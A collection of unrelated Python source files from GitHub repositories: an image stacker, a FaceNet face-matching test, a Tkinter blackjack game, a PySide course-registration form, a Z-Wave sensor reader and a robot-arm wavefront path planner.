datetime.now().strftime(\"%Y%m%d_%H%M%S\")\n    cv2.imwrite(f\"output/{g}.jpg\",base_img)\n\n\ndef test_stack():\n\n    import pathlib\n    import pprint\n\n    p = pathlib.Path(\"images\")\n    pprint.pprint(list(p.glob('*.jpg')))\n    l = p.glob(\"*.jpg\")\n    base_img = cv2.imread(str(next(l)))\n    base_img = utils.auto_adjust_rgb(base_img)\n    base_img = utils.ctrl_gamma(base_img,0.3 ).astype(base_img.dtype)    \n    stacker = ImageStacker()\n    stacker.new_image_buffer.appendleft(base_img)\n\n    p = pathlib.Path(\"images\")\n    for idx,i in enumerate(p.glob(\"*.jpg\")):\n        if idx == 0 : continue\n        img = cv2.imread(str(i))\n        img = utils.auto_adjust_rgb(img)\n        img = utils.ctrl_gamma(img,0.3 ).astype(img.dtype)    \n        stacker.stack(stacker.stacked_buffer,img)\n        g = datetime.now().strftime(\"%Y%m%d_%H%M%S\")\n        result = stacker.stacked_buffer[0]\n        cv2.imwrite(f\"output/{g}.jpg\",result)\n    \n\n    \n\nif __name__ == \"__main__\":\n    #asyncio.run(test_stack())\n    test_stack()\n \n\n\n\n        \n\n","repo_name":"imoken1122/PyAstroV","sub_path":"pyastrov/procimg/mulproc_stack.py","file_name":"mulproc_stack.py","file_ext":"py","file_size_in_byte":9385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"39786687375","text":"from keras_facenet import FaceNet\nimport cv2\nimport numpy as np\n\n# Load the FaceNet model\n\n\nmodel = FaceNet()\n\nembeddings_path = 'embeddings.npy'\nlabels_path = 'labels.npy'\n\n\n# Load the embeddings and labels from disk\nknown_embeddings = np.load(embeddings_path)\nknown_labels = np.load(labels_path)\n\n\nimage = cv2.imread(\n    r\"test.jpg\")\n\n# Extract faces from the image and calculate embeddings\nfaces = model.extract(image, threshold=0.50)\ntest_embeddings = np.array([face['embedding'] for face in faces])\n\n# Define a threshold distance for matching faces\nthreshold_distance = 0.95\n\n# Loop over each test embedding and find the closest matching known embedding\nfor i, test_embedding in enumerate(test_embeddings):\n    distances = np.linalg.norm(known_embeddings - test_embedding, axis=1)\n    closest_match_index = np.argmin(distances)\n    closest_match_distance = distances[closest_match_index]\n    closest_match_label = known_labels[closest_match_index]\n\n    # Draw a bounding box and label for the recognized face\n    face_box = faces[i]['box']\n    x, y, w, h = face_box[0], face_box[1], face_box[2], face_box[3]\n\n    if closest_match_distance < threshold_distance:\n        cv2.rectangle(image, (x, y), (x + w, y + h), (0, 255, 0), 2)\n        cv2.putText(image, closest_match_label, (x, y - 10),\n                    cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 0), 1)\n    else:\n        cv2.rectangle(image, (x, y), (x + w, y + h), (0, 0, 255), 2)\n        cv2.putText(image, '?', (x, y - 10),\n                    cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 10)\n\n# Display the output image\ncv2.imwrite('detected.png', image)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","repo_name":"zetro-malik/FaceNet_Face_Recognition","sub_path":"Test_FaceNet.py","file_name":"Test_FaceNet.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"19438849565","text":"from tkinter import *\nimport os \nimport pandas\nimport random\nfrom PIL import ImageTk, Image\n\n\nclass startPage:\n\n    wd = os.getcwd()\n    BACKGROUND_COLOR ='#1e6631'\n\n    dealer_score = 0\n    mine_score = 0\n\n    def __init__(self, root, canvas):\n\n        for child in canvas.winfo_children():\n            child.destroy()\n\n        self.data = pandas.read_csv(self.wd + '/cards.csv')\n        self.data = self.data.to_dict(orient=\"records\")\n\n        # try:\n        #     self.data = pandas.read_csv(self.wd + '/Blackjack_project/new_cards.csv')\n        #     self.data = self.data.to_dict(orient=\"records\")\n        # except:\n        #     self.data = pandas.read_csv(self.wd + '/Blackjack_project/cards.csv')\n        #     self.data = self.data.to_dict(orient=\"records\")\n\n        self.back_image = Image.open(self.wd + '/images/background.png')\n        self.back_image = self.back_image.resize((120, 200), Image.ANTIALIAS)\n        self.back_image = ImageTk.PhotoImage(self.back_image)\n\n        self.opponent_1 = Label(canvas, image = self.back_image, bg = self.BACKGROUND_COLOR)\n        self.opponent_1.grid(row=0, column=0)\n        self.opponent_2 = Label(canvas, image = self.back_image, bg = self.BACKGROUND_COLOR)\n        self.opponent_2.grid(row=0, column=1)\n\n        self.mine_1 = Label(canvas, image = self.back_image, bg = self.BACKGROUND_COLOR)\n        self.mine_1.grid(row=2, column=0)\n        self.mine_2 = Label(canvas, image = self.back_image, bg = self.BACKGROUND_COLOR)\n        self.mine_2.grid(row=2, column=1)\n\n        self.placeholder_card_img = Image.open(self.wd + '/images/placeholder_card.png')\n        self.placeholder_card_img = ImageTk.PhotoImage(self.placeholder_card_img)\n\n        self.placeholder_between_img = Image.open(self.wd + '/images/placeholder_between.png')\n        self.placeholder_between_img = ImageTk.PhotoImage(self.placeholder_between_img)\n\n        self.placeholder_bewteen = Label(canvas, image=self.placeholder_between_img, bg = self.BACKGROUND_COLOR)\n\n        self.placeholder_bewteen.grid(row=1,column=0, sticky=N+S+E+W, padx=0, pady=0)\n        \n        self.opponent_3 = Label(canvas, image=self.placeholder_card_img, bg = self.BACKGROUND_COLOR)\n        self.opponent_3.grid(row=0,column=2)\n\n        self.opponent_4 = Label(canvas, image=self.placeholder_card_img, bg = self.BACKGROUND_COLOR)\n        self.opponent_4.grid(row=0,column=3)\n\n        self.opponent_5 = Label(canvas, image=self.placeholder_card_img, bg = self.BACKGROUND_COLOR)\n        self.opponent_5.grid(row=0,column=4)\n\n        self.mine_3 = Label(canvas, image=self.placeholder_card_img, bg = self.BACKGROUND_COLOR)\n        self.mine_3.grid(row=2,column=2)\n\n        self.mine_4 = Label(canvas, image=self.placeholder_card_img, bg = self.BACKGROUND_COLOR)\n        self.mine_4.grid(row=2,column=3)\n\n        self.mine_5 = Label(canvas, image=self.placeholder_card_img, bg = self.BACKGROUND_COLOR)\n        self.mine_5.grid(row=2,column=4)\n\n        # Buttons\n        right_image = PhotoImage(file= self.wd + '/images/right.png')\n        button_right = Button(canvas,image=right_image, borderwidth = 0, highlightthickness=0, command=lambda: self.withdraw_card(root, canvas))\n        button_right.image = right_image\n        button_right.grid(row=2, column=5)\n\n        wrong_image = PhotoImage(file= self.wd + '/images/wrong.png')\n        button_wrong = Button(canvas, image=wrong_image, borderwidth = 0, highlightthickness=0, command=lambda: self.withdraw_card(root, canvas))\n        button_wrong.image = wrong_image\n        button_wrong.grid(row=2, column=6)\n\n        self.starting_card(root, canvas)\n\n    def starting_card(self, root, canvas):\n        self.opp_card_1 = random.choice(self.data)\n        self.data.remove(self.opp_card_1)\n\n        self.opp_card_2 = random.choice(self.data)\n        self.data.remove(self.opp_card_2)\n\n        self.opp_card_2_image = Image.open(self.wd + f'/images/{self.opp_card_2[\"value\"]}_of_{self.opp_card_2[\"suit\"]}.png')\n        self.opp_card_2_image = self.opp_card_2_image.resize((120, 200), Image.ANTIALIAS)\n        self.opp_card_2_image = ImageTk.PhotoImage(self.opp_card_2_image)\n\n        self.opponent_2.config(image=self.opp_card_2_image)\n\n        self.mine_card_1 = random.choice(self.data)\n        self.data.remove(self.mine_card_1)\n\n        self.mine_card_1_image = Image.open(self.wd + f'/images/{self.mine_card_1[\"value\"]}_of_{self.mine_card_1[\"suit\"]}.png')\n        self.mine_card_1_image = self.mine_card_1_image.resize((120, 200), Image.ANTIALIAS)\n        self.mine_card_1_image = ImageTk.PhotoImage(self.mine_card_1_image)\n\n        self.mine_1.config(image=self.mine_card_1_image)\n\n        self.mine_card_2 = random.choice(self.data)\n        self.data.remove(self.mine_card_2)\n\n        self.mine_card_2_image = Image.open(self.wd + f'/images/{self.mine_card_2[\"value\"]}_of_{self.mine_card_2[\"suit\"]}.png')\n        self.mine_card_2_image = self.mine_card_2_image.resize((120, 200), Image.ANTIALIAS)\n        self.mine_card_2_image = ImageTk.PhotoImage(self.mine_card_2_image)\n\n        self.mine_2.config(image=self.mine_card_2_image)\n\n        self.score_update()\n\n        # Buttons\n        dealer_score_label = Label(canvas,text='Dealer: ?', bg = self.BACKGROUND_COLOR, font = 'Helvetica 14')\n        dealer_score_label.grid(row=1, column=5)\n\n        mine_score_label = Label(canvas,text=f'Chunbae: {self.mine_score}', bg = self.BACKGROUND_COLOR, font = 'Helvetica 14')\n        mine_score_label.grid(row=1, column=6)\n\n\n    def withdraw_card(self, root, canvas):\n        pass\n\n    def score_update(self):\n\n        if self.opp_card_1[\"value\"] in ('jack', 'queen', 'king'):\n            self.opp_card_1[\"value\"] = 10\n        elif self.opp_card_1[\"value\"] == 'ace':\n            self.opp_card_1[\"value\"] = [1, 10]\n        else:\n            self.opp_card_1[\"value\"] = int(self.opp_card_1[\"value\"])\n        \n        if self.opp_card_2[\"value\"] in ('jack', 'queen', 'king'):\n            self.opp_card_2[\"value\"] = 10\n        elif self.opp_card_2[\"value\"] == 'ace':\n            self.opp_card_2[\"value\"] = [1, 10]\n        else:\n            self.opp_card_2[\"value\"] = int(self.opp_card_2[\"value\"])\n        \n        if self.mine_card_1[\"value\"] in ('jack', 'queen', 'king'):\n            self.mine_card_1[\"value\"] = 10\n        elif self.mine_card_1[\"value\"] == 'ace':\n            self.mine_card_1[\"value\"] = [1, 10]\n        else:\n            self.mine_card_1[\"value\"] = int(self.mine_card_1[\"value\"])\n\n        \n        if self.mine_card_2[\"value\"] in ('jack', 'queen', 'king'):\n            self.mine_card_2[\"value\"] = 10\n        elif self.mine_card_2[\"value\"] == 'ace':\n            self.mine_card_2[\"value\"] = [1, 10]\n        else:\n            self.mine_card_2[\"value\"] = int(self.mine_card_2[\"value\"])\n\n        self.dealer_score = self.opp_card_1[\"value\"] + self.opp_card_2[\"value\"]\n        self.mine_score = self.mine_card_1[\"value\"] + self.mine_card_2[\"value\"]\n","repo_name":"codud1125/Blackjack_project","sub_path":"start_page.py","file_name":"start_page.py","file_ext":"py","file_size_in_byte":6907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"73647260519","text":"from PySide.QtCore import *\nfrom PySide.QtGui import *\nfrom PySide.QtUiTools import *\nfrom findCourse import findCourseUI\nfrom sendMessageForm import sendMessageUI\nfrom datetime import datetime\nimport plugin.databaseConnect as database\nimport plugin.course as courseItem\n\nclass StudentCourseUI(QMainWindow):\n    def __init__(self,parent = None):\n        QMainWindow.__init__(self,None)\n        self.setMinimumSize(900, 600)\n        self.setWindowTitle(\"Courses\")\n        palette = QPalette()\n        palette.setBrush(QPalette.Background, QBrush(QPixmap(\"resources/images/programBackground.png\")))\n        self.bar = QPixmap(\"resources/images/topBarBackground.png\")\n        self.setPalette(palette)\n        self.parent = parent\n        self.rowUP = 0\n        self.rowDN = 0\n        self.db = database.databaseCourse()\n        self.courseAvailable = []\n        self.currentCourse = []\n        self.allTakenCourse = []\n        self.parent = parent\n        self.data = None\n        self.UIinit()\n\n    def UIinit(self):\n        loader = QUiLoader()\n        form = loader.load(\"resources/UI/studentcourse.ui\", None)\n        self.setCentralWidget(form)\n\n        #Upper Bar\n        self.bar_group = form.findChild(QLabel,\"barLabel_2\")\n        self.bar_group.setPixmap(self.bar)\n        self.home_button = form.findChild(QPushButton,\"homeButton\")\n        self.profile_button = form.findChild(QPushButton,\"profileButton\")\n        self.grade_button = form.findChild(QPushButton,\"gradeButton\")\n        self.course_button = form.findChild(QPushButton,\"courseButton\")\n        self.temp = form.findChild(QPushButton, \"temp\")\n        self.temp2 = form.findChild(QPushButton, \"temp2\")\n\n\n        #page properties\n        self.available_course = form.findChild(QTableWidget,\"available\")\n        self.your_course = form.findChild(QTableWidget,\"mycourse\")\n        self.add_button = form.findChild(QPushButton,\"addButton\")\n        self.search_course = form.findChild(QPushButton,\"searchCourseButton\")\n        self.delete_button = form.findChild(QPushButton, \"deleteButton\")\n        self.add_button.setEnabled(False)\n        self.delete_button.setEnabled(False)\n\n        self.available_course_header = self.available_course.horizontalHeader()\n        self.available_course_header.setResizeMode(0,QHeaderView.ResizeToContents)\n        self.available_course_header.setResizeMode(1,QHeaderView.Stretch)\n        self.available_course_header.setResizeMode(2,QHeaderView.ResizeToContents)\n        self.available_course_header.setResizeMode(3,QHeaderView.ResizeToContents)\n        self.available_course_header.setResizeMode(4,QHeaderView.Stretch)\n        self.available_course_header.setResizeMode(5,QHeaderView.ResizeToContents)\n        self.available_course_header.setResizeMode(6,QHeaderView.ResizeToContents)\n\n        self.your_course_header = self.your_course.horizontalHeader()\n        self.your_course_header.setResizeMode(0,QHeaderView.ResizeToContents)\n        self.your_course_header.setResizeMode(1,QHeaderView.Stretch)\n        self.your_course_header.setResizeMode(2,QHeaderView.ResizeToContents)\n        self.your_course_header.setResizeMode(3,QHeaderView.ResizeToContents)\n        self.your_course_header.setResizeMode(4,QHeaderView.Stretch)\n        self.your_course_header.setResizeMode(5,QHeaderView.ResizeToContents)\n        self.your_course_header.setResizeMode(6,QHeaderView.ResizeToContents)\n\n        self.available_course.setSelectionMode(QAbstractItemView.SingleSelection)\n        self.available_course.setSelectionBehavior(QAbstractItemView.SelectRows)\n        self.available_course.setEditTriggers(QAbstractItemView.NoEditTriggers)\n\n        self.your_course.setSelectionMode(QAbstractItemView.SingleSelection)\n        self.your_course.setSelectionBehavior(QAbstractItemView.SelectRows)\n        self.your_course.setEditTriggers(QAbstractItemView.NoEditTriggers)\n\n        #Upper Bar pressed\n        self.home_button.clicked.connect(self.goHome)\n        self.profile_button.clicked.connect(self.goProfile)\n        self.grade_button.clicked.connect(self.goGrade)\n        self.course_button.clicked.connect(self.goCourse)\n        self.temp.clicked.connect(self.goTemp)\n        self.temp2.clicked.connect(self.goTemp2)\n\n\n        #Internal Button Pressed\n        self.add_button.clicked.connect(self.addClick)\n        self.delete_button.clicked.connect(self.deleteClick)\n        self.search_course.clicked.connect(self.searchCourse)\n        \n    ##When add button is clicked, add the selected course into current course table##\n    def addClick(self):\n        colCount = 0\n        temp = self.available_course.selectionModel().selectedRows()\n        if(len(temp)>0):\n            if (self.parent.showCONFIRM(\"Are you sure?\", \"Are you sure you add the selected course?\\\n                                                                    By clicking yes, your course will be added immediately to the registration system.\")):\n                self.your_course.insertRow(self.rowDN)\n                for item in self.available_course.selectedItems():\n                    self.your_course.setItem(self.rowDN,colCount,QTableWidgetItem(item.text()))\n                    if (colCount == 0):\n                        tempID = item.text()\n                    if(colCount == 4):\n                        pre = item.text()\n                    if(colCount == 6):\n                        limit = item.text()\n                        limit = int(limit)\n                    colCount+=1\n                self.available_course.removeRow(temp[0].row())\n                self.rowUP -= 1\n\n            if (tempID in self.allTakenCourseNOOPEN):\n                self.parent.showERROR(\"Course Not Avaliable\",\n                                      \"This course is not open for this term. You cannot add this course.\")\n            elif (tempID in self.allTakenCourse and tempID in self.allTakenCourseNORE):\n                self.parent.showERROR(\"Course Error\", \"You have already taken the course. Therefore, you cannot add this course.\")\n            elif(limit == 0):\n                self.parent.showERROR(\"Course Full\", \"This course is now filled. You cannot add this course.\")\n            elif(pre in self.allTakenCourse or len(pre) < 5):\n                if (self.db.addCourseUser(self.data.getID(), self.data.getYear(), self.data.getTerm(), tempID, datetime.now().year, limit)):\n                    self.parent.showOK(\"Course Added\", \"Your course \" + tempID + \" has been added to the system.\")\n            else:\n                self.parent.showERROR(\"Pre-requisite Course Error\", \"You have not taken the required course required for this course.\\\n                                                                    Please complete that course before adding this course.\")\n            self.updatePage()\n    ##When delete button is clicked, delete the selected course from current course table##    \n    def deleteClick(self):\n        colCount = 0\n        temp = self.your_course.selectionModel().selectedRows()\n        if(len(temp)>0):\n            if(self.parent.showCONFIRM(\"Are you sure?\", \"Are you sure you want to drop the selected course?\\\n                                                        Once you drop, you will have to re-take the course!\\\n                                                        By clicking yes, your course will be removed immediately from the registration system.\")):\n                self.available_course.insertRow(self.rowUP)\n                for item in self.your_course.selectedItems():\n                    self.available_course.setItem(self.rowUP,colCount,QTableWidgetItem(item.text()))\n                    if(colCount == 0):\n                        tempID = item.text()\n                    if (colCount == 6):\n                        limit = item.text()\n                        limit = int(limit)\n                    colCount+=1\n                self.your_course.removeRow(temp[0].row())\n                self.rowUP += 1\n                self.rowDN -= 1\n                if(self.db.dropCourseUser(self.data.getID() ,tempID, datetime.now().year, limit)):\n                    self.parent.showOK(\"Course Removed\", \"Your course \" + tempID + \" has been removed from the system.\" )\n            self.updatePage()\n\n    def updatePage(self):\n        currentID = []\n        self.data = self.parent.getCurrentUser()\n\n        temp = self.db.termCourse(self.data.getFacultyID(), self.data.getMajorID(), self.data.getYear(), self.data.getTerm())\n        self.courseAvailable = self.createBulk(temp)\n\n        temp = self.db.currentCourse(self.data.getID())\n        self.currentCourse = self.createBulk(temp)\n\n        #Check Pre-requisite IF 'F' not counted\n        temp = self.db.allUserCourse(self.data.getID())\n        self.allTakenCourse = []\n        for elements in temp:\n            if(int(elements.allowRepeat) < 2 and elements.grade != None):\n                self.allTakenCourse.append(elements.courseID)\n\n        #Check Re-Grade avaliable\n        temp = self.db.allUserCourse(self.data.getID())\n        self.allTakenCourseNORE = []\n        for elements in temp:\n            if(int(elements.allowRepeat) < 1 and elements.grade != None):\n                self.allTakenCourseNORE.append(elements.courseID)\n\n        #Check term openings\n        temp = self.db.getAllCourseINFO()\n        self.allTakenCourseNOOPEN = []\n        for elements in temp:\n            if(self.data.getTerm() != elements.term):\n                self.allTakenCourseNOOPEN.append(elements.courseID)\n\n        for course in self.currentCourse:\n            currentID.append(course.getCourseID())\n\n        self.available_course.setRowCount(len(self.courseAvailable))\n        self.rowUP = len(self.courseAvailable)\n\n        self.your_course.setRowCount(len(self.currentCourse))\n        self.rowDN = len(self.currentCourse)\n\n        if(len(self.courseAvailable) > 0):\n            self.add_button.setEnabled(True)\n        else:\n            self.add_button.setEnabled(False)\n\n        if (len(self.currentCourse) > 0):\n            self.delete_button.setEnabled(True)\n        else:\n            self.delete_button.setEnabled(False)\n\n        i = 0\n        for course in self.currentCourse:\n            self.your_course.setItem(i, 0, QTableWidgetItem(course.getCourseID()))\n            self.your_course.setItem(i, 1, QTableWidgetItem(course.getCourseName()))\n            self.your_course.setItem(i, 2, QTableWidgetItem(course.getCredit()))\n            self.your_course.setItem(i, 3, QTableWidgetItem(course.getYear()))\n            self.your_course.setItem(i, 4, QTableWidgetItem(course.getPre()))\n            self.your_course.setItem(i, 5, QTableWidgetItem(course.getTime()))\n            self.your_course.setItem(i, 6, QTableWidgetItem(course.getMaxStud()))\n            i = i + 1\n\n        i = 0\n        for course in self.courseAvailable:\n            if(course.getCourseID() in currentID):\n                self.available_course.removeRow(i)\n                self.rowUP = self.rowUP - 1\n            else:\n                self.available_course.setItem(i,0,QTableWidgetItem(course.getCourseID()))\n                self.available_course.setItem(i,1,QTableWidgetItem(course.getCourseName()))\n                self.available_course.setItem(i,2,QTableWidgetItem(course.getCredit()))\n                self.available_course.setItem(i,3,QTableWidgetItem(course.getYear()))\n                self.available_course.setItem(i,4,QTableWidgetItem(course.getPre()))\n                self.available_course.setItem(i,5,QTableWidgetItem(course.getTime()))\n                self.available_course.setItem(i,6,QTableWidgetItem(course.getMaxStud()))\n                i = i + 1\n    ##Use to search other course that student wants to add##\n    def searchCourse(self):\n        currentCourse = []\n        for items in self.currentCourse:\n            currentCourse.append(items.getCourseID())\n        self.edit = findCourseUI(self.allTakenCourse,self.allTakenCourseNORE,self.allTakenCourseNOOPEN ,currentCourse, parent=self)\n        self.edit.show()\n\n    def goHome(self):\n        self.parent.changePageLoginSection(\"home\")\n\n    def goProfile(self):\n        self.parent.changePageLoginSection(\"profile\")\n\n    def goGrade(self):\n        self.parent.changePageLoginSection(\"studentGrade\")\n\n    def goCourse(self):\n        self.parent.changePageLoginSection(\"studentCourse\")\n        \n    def goTemp(self):\n        self.createM = sendMessageUI(parent = self.parent)\n        self.createM.show()\n\n    def goTemp2(self):\n        self.parent.changePageLoginSection(\"login\")\n\n    def createBulk(self, data):\n        temp = []\n        for i in data:\n            temp.append(courseItem.course(i))\n        return temp\n","repo_name":"bhurinuthw/GMan","sub_path":"studentCourseForm.py","file_name":"studentCourseForm.py","file_ext":"py","file_size_in_byte":12604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"1396174828","text":"import httplib2\nimport json\nimport time\n\nh = httplib2.Http()\n\ndef compile_httpgettemp(IDeviceNum, ICmdClass, iDataLevel):\n    sOutBuf = \"http://192.168.0.79:8083/ZWaveAPI/Run/devices[\" + str(IDeviceNum)\n    sOutBuf = sOutBuf + \"].instances[0].commandClasses[\" + str(ICmdClass)\n    sOutBuf = sOutBuf + \"].data[\" + str(iDataLevel) + \"].val.value\"\n    return sOutBuf\n\ndef get_currenttemp(IDeviceNum, ICmdClass, iDataLevel):\n    resp, content = h.request(compile_httpgettemp(IDeviceNum, ICmdClass, iDataLevel), \"GET\")\n    DDevInfo = json.loads(content.decode('ascii'))\n    return DDevInfo\n\niCmdClass = 49\niDevice = 8\niDataLevel = 1\nsDevice = \"Waschküche\"\nprint (sDevice, \" does read\", get_currenttemp(iDevice, iCmdClass, iDataLevel), \"Degrees Celsius\")\n\niDataLevel = 5\nprint (sDevice, \" does read\", str(get_currenttemp(iDevice, iCmdClass, iDataLevel)), \"% Humidity\")\n\niDataLevel = 4\nprint (sDevice, \" does read\", str(get_currenttemp(iDevice, iCmdClass, iDataLevel)), \"W Power Level\")\n\niDevice = 12\niDataLevel = 1\nsDevice = \"Balkon\"\nprint (sDevice, \" does read\", str(get_currenttemp(iDevice, iCmdClass, iDataLevel)), \"Degree Celcius\")\n\niDataLevel = 3\nprint (sDevice, \" does read\", str(get_currenttemp(iDevice, iCmdClass, iDataLevel)), \"% Luminiscence\")\n\niDataLevel = 5\nprint (sDevice, \" does read\", str(get_currenttemp(iDevice, iCmdClass, iDataLevel)), \"% Humidity\")\n\niDataLevel = 6\nprint (sDevice, \" does read\", str(get_currenttemp(iDevice, iCmdClass, iDataLevel)), \"m/s Velocity\")\n\niDataLevel = 9\nprint (sDevice, \" does read\", str(get_currenttemp(iDevice, iCmdClass, iDataLevel)), \"kPa Barometric Pressure\")\n\niDataLevel = 11\nprint (sDevice, \" does read\", str(get_currenttemp(iDevice, iCmdClass, iDataLevel)), \"Degree Celcius Dew Point\")\n\n","repo_name":"dominicbosch/family-project","sub_path":"homeautomation/python/Archive/Sensor_V02.py","file_name":"Sensor_V02.py","file_ext":"py","file_size_in_byte":1736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"72714352999","text":"import math\nfrom shapely.geometry import LineString\nimport copy\n# Measurements in inches\nl1 = 3.75\nl2 = 2.5\n\nstart = (0, 0) #(t1, t2) degrees\nA = (3.75, 2.5) #(x, y) inches\nB = (-3.75, 2.5) #(x, y) inches\n\nobstacle = [LineString([(-2.5, 8.5), (2.5, 8.5)]),\n            LineString([(2.5, 8.5), (2.5, 5)]),\n            LineString([(2.5, 5), (-2.5, 5)]),\n            LineString([(-2.5, 5), (-2.5, 8.5)]),\n            # Workspace boundaries:\n            LineString([(-7.1, 8.1), (7.1, 8.1)]),\n            LineString([(7.1, 8.1), (7.1, -0.1)]),\n            LineString([(7.1, -0.1), (-7.1, -0.1)]),\n            LineString([(-7.1, -0.1), (-7.1, 8.1)])\n            ]\n\nt1range, t2range = 180, 360;\ncspace = [[0 for y in range(0, t2range)] for x in range(0, t1range)] \n\ndef t1_to_i(t):\n    return round(t)\n\ndef t2_to_i(t):\n    return round(t + 180)\n\ndef i_to_t1(i):\n    return i\n\ndef i_to_t2(i):\n    return i - 180\n\nfor t1 in range(0, 180):\n    for t2 in range(-180, 180):\n        t1r = math.radians(t1)\n        t2r = math.radians(t2)\n        x2 = l1 * math.cos(t1r) + l2 * math.cos(t1r + t2r)\n        y2 = l1 * math.sin(t1r) + l2 * math.sin(t1r + t2r)\n        x1 = l1 * math.cos(t1r)\n        y1 = l1 * math.sin(t1r)\n        ls1 = LineString([(0, 0), (x1, y1)])\n        ls2 = LineString([(x1, y1), (x2, y2)])\n        # If either linestring intersects a line in the rectangle, we know the\n        # point is invalid.\n        valid = 0\n        for ol in obstacle:\n            if ol.crosses(ls1) or ol.crosses(ls2):\n                valid = 1\n        cspace[t1_to_i(t1)][t2_to_i(t2)] = valid\n            \ndef inv_kinematics(p):\n    t21 = math.acos((p[0] * p[0] + p[1] * p[1] - l1 * l1 - l2 * l2) \\\n            /(2 * l1 * l2))\n    t22 = -t21\n    t11 = math.atan2(p[1], p[0]) \\\n            - math.asin(l2 * math.sin(t21)/math.sqrt(p[0]*p[0] + p[1] * p[1]))\n    t12 = math.atan2(p[1], p[0]) \\\n            - math.asin(l2 * math.sin(t22)/math.sqrt(p[0]*p[0] + p[1] * p[1]))\n    return [(t11, t21), (t12, t22)]\n\n# t11, t21, t12, t22 are the endpoint coordinates\n# st1, st2 are the starting angles.\ndef pick_better_config(points, start):\n    [(t11, t21), (t12, t22)] = points\n    (st1, st2) = start\n    firstValid = 0 <= t11 and t11 < 180 and cspace[t1_to_i(t11)][t2_to_i(t21)] == 1\n    secondValid = 0 <= t12 and t12 < 180 and cspace[t1_to_i(t12)][t2_to_i(t22)] == 1\n    if firstValid and not secondValid:\n        return (t11, t21)\n    elif not firstValid and secondValid:\n        return (t21, t22)\n    else:\n        # We'll use the L1 metric wrt the configuration space for closest point.\n        d1 = abs(t11 - st1) + abs(t21 - st2)\n        d2 = abs(t12 - st1) + abs(t22 - st2)\n        if d1 < d2:\n            return (t11, t21)\n        else:\n            return (t12, t22)\nprint(inv_kinematics(B))\n(At1, At2) = pick_better_config(inv_kinematics(A), start)\n(Bt1, Bt2) = pick_better_config(inv_kinematics(B), (At1, At2))\n(Ct1, Ct2) = pick_better_config(inv_kinematics(A), (Bt1, Bt2))\n\nAt1 = math.degrees(At1)\nAt2 = math.degrees(At2)\nBt1 = math.degrees(Bt1)\nBt2 = math.degrees(Bt2)\nCt1 = math.degrees(Ct1)\nCt2 = math.degrees(Ct2)\n\ndef wavefront(startAngles, endAngles):\n    (st1, st2) = startAngles\n    (et1, et2) = endAngles\n    # Get the starting indices\n    st1i = t1_to_i(st1)\n    st2i = t2_to_i(st2)\n    startOnGrid = i_to_t1(st1i) == st1 and i_to_t2(st2i) == st2\n    et1i = t1_to_i(et1)\n    et2i = t2_to_i(et2)\n    endOnGrid = i_to_t1(et1i) == et1 and i_to_t2(et2i) == et2\n    # Make a copy of the space.\n    cspace2 = copy.deepcopy(cspace)\n    cspace2[et1i][et2i] = 2\n    while cspace2[st1i][st2i] == 0:\n        for t1 in range(0, len(cspace2)):\n            for t2 in range(0, len(cspace2[t1])):\n                v = cspace2[t1][t2]\n                if v >= 2:\n                    # 4 point connectivity.\n                    if t1 + 1 < t1range and cspace2[t1 + 1][t2] == 0:\n                        cspace2[t1 + 1][t2] = v + 1\n                    if t1 - 1 >= 0 and cspace2[t1 - 1][t2] == 0:\n                        cspace2[t1 - 1][t2] = v + 1\n                    if t2 + 1 < t2range and cspace2[t1][t2 + 1] == 0:\n                        cspace2[t1][t2 + 1] = v + 1\n                    if t2 - 1 >= 0 and cspace2[t1][t2 - 1] == 0:\n                        cspace2[t1][t2 - 1] = v + 1\n\n    direction = None\n    (t1, t2) = (st1i, st2i)\n    positions = [startAngles]\n    if not startOnGrid:\n        positions.append((i_to_t1(st1i), i_to_t2(st2i)))\n    v = cspace2[t1][t2];\n    while v > 2:\n        v = v-1\n        if not((direction=='t1+1' and t1+1<t1range and cspace2[t1+1][t2]==v) or\\\n            (direction=='t1-1' and t1-1>=0 and cspace2[t1-1][t2]==v) or \\\n            (direction=='t2+1' and t2+1<t2range and cspace2[t1][t2+1]==v) or \\\n            (direction=='t2-1' and t2-1>=0 and cspace2[t1][t2-1]==v)):\n            # Change directions.\n            if t1+1<t1range and cspace2[t1+1][t2] == v:\n                if direction is not None:\n                    positions.append((i_to_t1(t1), i_to_t2(t2)))\n                direction = 't1+1'\n                t1 = t1+1\n            elif t1-1>=0 and cspace2[t1-1][t2] == v:\n                if direction is not None:\n                    positions.append((i_to_t1(t1), i_to_t2(t2)))\n                direction = 't1-1'\n                t1 = t1-1\n            elif t2+1<t2range and cspace2[t1][t2+1] == v:\n                if direction is not None:\n                    positions.append((i_to_t1(t1), i_to_t2(t2)))\n                direction = 't2+1'\n                t2 = t2+1\n            elif t2-1>=0 and cspace2[t1][t2-1] == v:\n                if direction is not None:\n                    positions.append((i_to_t1(t1), i_to_t2(t2)))\n                direction = 't2-1'\n                t2 = t2-1\n            else:\n                print(\"Error changing direction\")\n                print(t1, t2)\n                break\n        else:\n            if direction == 't1+1':\n                t1 = t1 + 1\n            elif direction == 't1-1':\n                t1 = t1 - 1\n            elif direction == 't2+1':\n                t2 = t2 + 1\n            elif direction == 't2-1':\n                t2 = t2 - 1\n            else:\n                print(\"Error going in same direction\")\n                print(direction)\n                break\n    positions.append((i_to_t1(et1i), i_to_t2(et2i)))\n    if not endOnGrid:\n        positions.append(endAngles)\n    return positions\n\nmoves1 = wavefront(start, (At1, At2))\nmoves2 = wavefront((At1, At2), (Bt1, Bt2))\nmoves3 = wavefront((Bt1, Bt2), (Ct1, Ct2))\n# Moves 4 gets us back to (0, 0)\nmoves4 = wavefront((Ct1, Ct2), (0, 0))\nfor a, b in moves1:\n    if abs(a) < 0.01:\n        a = 0\n    if abs(b) < 0.01:\n        b = 0\n    print(\"move(\" + str(a) + \", \" + str(b) + \");\")\nprint(\"wait1Msec(3000);\")\nprint(\"// At point A\")\nfor a, b in moves2:\n    if 